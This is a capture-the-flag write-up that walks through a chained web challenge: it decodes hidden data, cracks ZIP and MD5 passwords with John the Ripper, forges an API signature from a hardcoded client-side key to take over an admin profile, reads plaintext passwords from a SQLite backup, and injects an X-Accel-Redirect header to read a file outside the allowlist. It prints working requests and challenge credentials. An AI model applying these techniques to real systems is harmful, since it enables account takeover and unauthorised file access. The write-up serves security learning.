I was actively looking for penetration tester roles recently, and there was a CTF challenge that caught my attention. I wanted to write down the steps I took, not only to keep track of the solution, but also to reflect on the thought process behind each stage.

This challenge started with a text file and gradually moved into web application testing, API analysis, signature forgery, database inspection, and file access control bypasses.


Initial Challenge File

I started by downloading the challenge file:

curl -s https://projectblack.io/ctf/challenge6.txt -o challenge6.txt

Encrypted text

After looking through the text, I noticed an interesting pattern: the uppercase and lowercase letters looked like they could represent binary data.

My assumption was:

Uppercase letter = 1
Lowercase letter = 0

To test this, I wrote a small Python script to extract letters, convert the casing pattern into bits, and then convert those bits into bytes.

python3 - << 'PY'
import re

txt = open("challenge6.txt", "r", encoding="utf-8").read()

letters = re.findall(r"[A-Za-z]", txt)

bits = "".join("1" if c.isupper() else "0" for c in letters)

data = bytes(
    int(bits[i:i+8], 2)
    for i in range(0, len(bits) // 8 * 8, 8)
)

print(data[:100])

open("payload.b64", "wb").write(data.strip())
PY

Python decoding script

The output appeared to be Base64 data, so the next step was to decode it.


Base64 to ZIP

I decoded the Base64 payload into a ZIP file:

base64 -d payload.b64 > hidden.zip
file hidden.zip
zipinfo hidden.zip

Base64 to ZIP

The file was confirmed to be a ZIP archive, but it was password protected.


Cracking the ZIP Password

To crack the ZIP password, I first converted it into a John the Ripper compatible hash:

zip2john hidden.zip > zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash

John successfully found the password:

gandalf

ZIP password cracked

I then extracted the ZIP file:

unzip hidden.zip

When prompted for the password, I entered:

gandalf

Unzipping the archive

Inside the extracted content, I found a message that redirected me to the web application:

https://chortle.0hl.cc

Web Application Enumeration

I opened the website in the browser and started with basic manual testing.

Website landing page

I first tried simple credentials such as:

admin:admin

but that did not work.

Next, I opened the browser developer tools and inspected the network traffic while clicking the submit button. A request appeared that exposed a user list in JSON format. This helped me discover another flag and useful user information.

Submit request exposing user data


Preparing Users and Hashes

From the exposed user data, I created two files:

nano users.txt
nano hashes.txt

Users file

Hashes file

Then I cracked the hashes using John the Ripper:

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Second password cracking result

This revealed the following credential:

nikolai:password123

I logged in manually using this account and found another flag.

Third flag


Inspecting the Profile Page

After logging in as nikolai, I continued inspecting the application through the browser developer tools.

I found another flag inside the /profile area.

Fourth flag

At this stage, the challenge started to move from simple credential discovery into API behaviour analysis.


API Traffic Analysis with Burp Suite

I used Burp Suite to inspect the API requests and network traffic.

Burp Suite traffic

I noticed an API endpoint:

POST /api/profile

I sent the request to Repeater for further testing.

Profile API request in Burp Repeater

The request included a user ID and an X-Signature header. I attempted to replace nikolai’s ID:

501745fb-ef79-4369-9e3c-40154543cd79

with another user ID belonging to jason, who appeared to be an admin:

c150138a-fb84-491b-8880-3a852326fcd7

However, the server returned:

{
  "error": "Invalid signature",
  "detail": "Hash mismatch"
}

Invalid signature response

This showed that the application was protecting the API request with a signature mechanism.


Finding the Signature Logic

To understand how X-Signature was generated, I inspected the JavaScript files loaded by the application.

In the browser developer tools, I found an unusual JavaScript file:

index-Drc_o9hS.js

Inside the file, I found the signing logic. The application was using MD5 with a hardcoded secret key to generate the request signature.

The secret key was:

Th1$_1$_mY_$3Cr3t_3nCrYpt10N_k3Y

Signature encoding logic

The signed content was based on the user ID JSON body. For Jason’s ID, the input looked like:

Th1$_1$_mY_$3Cr3t_3nCrYpt10N_k3Y{"id":"c150138a-fb84-491b-8880-3a852326fcd7"}

I used an MD5 encoder to generate a valid signature for Jason’s ID.

After replacing the X-Signature header in Burp Suite, I was able to successfully fetch Jason’s profile information, including his password:

jason:kgf7ac69WDojJW5MNA2

After logging in as Jason, I found the fifth flag.

Fifth flag


Database Backup Download

After logging in as Jason, I noticed a database backup button that allowed me to download a file:

file.db

Downloaded database file

I inspected the file:

file file.db
ls -lh file.db

The file was identified as a SQLite database.


Inspecting the SQLite Database

I opened the database with sqlite3:

sqlite3 file.db

Then I listed the tables and inspected the user model schema:

.tables
.schema core_user

From the schema, it looked like plaintext passwords were stored inside the database.

I enabled readable output formatting:

.headers on
.mode line

Then I queried the user table:

SELECT 
  username,
  id,
  clear_text_password,
  privilege_level,
  is_superuser,
  is_staff,
  description
FROM core_user;

Plaintext passwords in SQLite database

This revealed that eddie was actually the super admin account:

eddie:bvhkVv8UnebiTSvRBYa

I went back to the login page, logged in as eddie, and found the sixth flag.

Sixth flag


File Read Functionality

After logging in as the super admin, I gained access to additional functionality such as:

  • read file
  • locate file

I tested the read file function by searching for a generic term such as:

file

The application responded with an allowlist of readable files:

Sorry, that file is not in the list of allowed files.
You can only read the following files:
/ctf/backend/app/__init__.py
/ctf/backend/app/asgi.py
/ctf/backend/app/settings.py
/ctf/backend/app/urls.py
/ctf/backend/app/wsgi.py
/ctf/backend/core/__init__.py
/ctf/backend/core/admin.py
/ctf/backend/core/apps.py
/ctf/backend/core/middleware.py
/ctf/backend/core/migrations/0001_initial.py
/ctf/backend/core/migrations/0002_user_clear_text_password_user_description_and_more.py
/ctf/backend/core/migrations/0003_add_default_users.py
/ctf/backend/core/migrations/__init__.py
/ctf/backend/core/models.py
/ctf/backend/core/permissions.py
/ctf/backend/core/tests.py
/ctf/backend/core/urls.py
/ctf/backend/core/views.py
/ctf/backend/manage.py
/ctf/configs/dev/Dockerfile
/ctf/configs/dev/nginx.conf
/ctf/configs/dev/supervisord.ini
/ctf/configs/prod/Dockerfile
/ctf/configs/prod/nginx.conf
/ctf/configs/prod/supervisord.ini
/ctf/docker-compose-dev.yml
/ctf/docker-compose-prod.yml

Allowed file list


Reading Source Code for Bonus Flags

I started reviewing interesting source files from the allowlist.

In:

/ctf/backend/core/views.py

I found the first bonus flag.

First secret bonus flag

In:

/ctf/backend/core/middleware.py

I found the second bonus flag.

Second secret bonus flag


Locating the Final Bonus Flag

Next, I used the locate file function and searched for:

ctf

This revealed the path to another file:

/ctf/backend/very_secret_bonus_flag_3_of_3.txt

However, I could not read it directly because it was not part of the file read allowlist.

Third bonus flag path found

At this point, I had the file path, but I needed another way to access it.


Abusing X-Accel-Redirect Behaviour

I sent the /api/locate/ request to Burp Repeater and experimented with the request headers.

The application appeared to use X-Accel-Redirect to serve files through the backend / reverse proxy flow. Since the locate functionality was designed around file discovery and response redirection, I tried adding an X-Accel-Redirect header pointing to the discovered file path.

The request looked like this:

POST /api/locate/ HTTP/2
Host: chortle.0hl.cc
Authorization: Bearer <REDACTED>
Content-Type: application/json
X-Signature: e6f5941a94455f36d6516b567e4aa4fa
X-Accel-Redirect: /ctf/backend/very_secret_bonus_flag_3_of_3.txt

{"pattern":"/ctf/backend/very_secret_bonus_flag_3_of_3.txt"}

This successfully allowed me to access the final bonus flag.

Final bonus flag


Key Takeaways

This challenge was a good mix of different skills:

  • extracting hidden data from text
  • converting casing patterns into binary
  • decoding Base64 data
  • cracking ZIP passwords with John the Ripper
  • inspecting browser developer tools
  • analysing API requests with Burp Suite
  • understanding weak signature logic
  • abusing hardcoded client-side secrets
  • inspecting SQLite database content
  • reviewing backend source code
  • bypassing file access restrictions through header behaviour

The biggest lesson for me was that a CTF challenge can chain many small weaknesses together. None of the individual steps felt extremely complicated on their own, but each step required paying attention to application behaviour and following the evidence carefully.

From a web security perspective, the most interesting parts were the API signature bypass and the file access control logic. Hardcoded secrets in client-side JavaScript should never be trusted, and file read / locate functionality needs to be designed very carefully because small mistakes can expose sensitive backend files.

Overall, this was a useful challenge for practising a realistic workflow: start with simple observations, inspect client-side behaviour, analyse API traffic, validate assumptions in Burp Suite, and keep moving deeper into the application.